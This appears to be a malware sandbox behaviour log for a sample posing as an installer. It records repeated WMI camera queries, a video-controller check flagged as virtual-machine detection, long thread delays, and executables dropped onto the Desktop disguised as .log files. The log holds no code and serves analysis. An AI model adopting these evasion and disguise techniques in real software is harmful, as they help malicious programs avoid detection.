Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Memory allocated: D80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Memory allocated: 1AB40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Memory allocated: 12F0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Memory allocated: 1AF80000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Memory allocated: 1340000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Memory allocated: 1B060000 memory reserve \| memory write watch
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Memory allocated: 1890000 memory reserve \| memory write watch
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Memory allocated: 1B340000 memory reserve \| memory write watch

Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 600000
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 599874
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 598859
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 598718
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 598499
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 598375
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 3600000
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 597421
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 597250
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 597103
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 596999
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 596859
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 596733
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 596623
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 300000
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 596515
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 596406
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 596296
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 596187
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 596078
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 595968
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 595859
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 595749
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 595640
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 595530
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 595421
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 595289
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 594630
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 594499
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 594385
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 594281
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 594168
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 594062
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 593949
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 593843
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 593734
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 593624
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 593487
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 593359
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 593249
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 593140
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 593031
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 592921
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 592812
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 592702
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 592540
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 592427
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 592046
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 591878
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 591732
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 591624
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 591515
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Window / User API: threadDelayed 4080
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Window / User API: threadDelayed 5652

Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\OfhhMrNQ.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\UvPgJftz.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI47C9.tmp	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\lNILRSep.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI46ED.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI44B9.tmp	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\UplOiJFY.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\yYksYVbT.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\shi436E.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI4DB5.tmp	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\MAAYLQkP.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\wKKCkQsU.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\OWmHElNj.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\BXyiPEuJ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6036\lzmaextractor.dll	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\lealJKxT.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\XaQepXPR.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\gaqNoVOB.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\jUtdfVsr.log	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI4DD5.tmp	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\LMwQZDoR.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\pAGUOyAM.log	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI4A94.tmp	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\GKQhrBJx.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\YTLXwDIz.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\SFtfhzmX.log	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI4C8A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6036\ShortcutFlags.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI4D85.tmp	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\xqfrsuNN.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\zbqSUreo.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\SEFybwug.log	Jump to dropped file
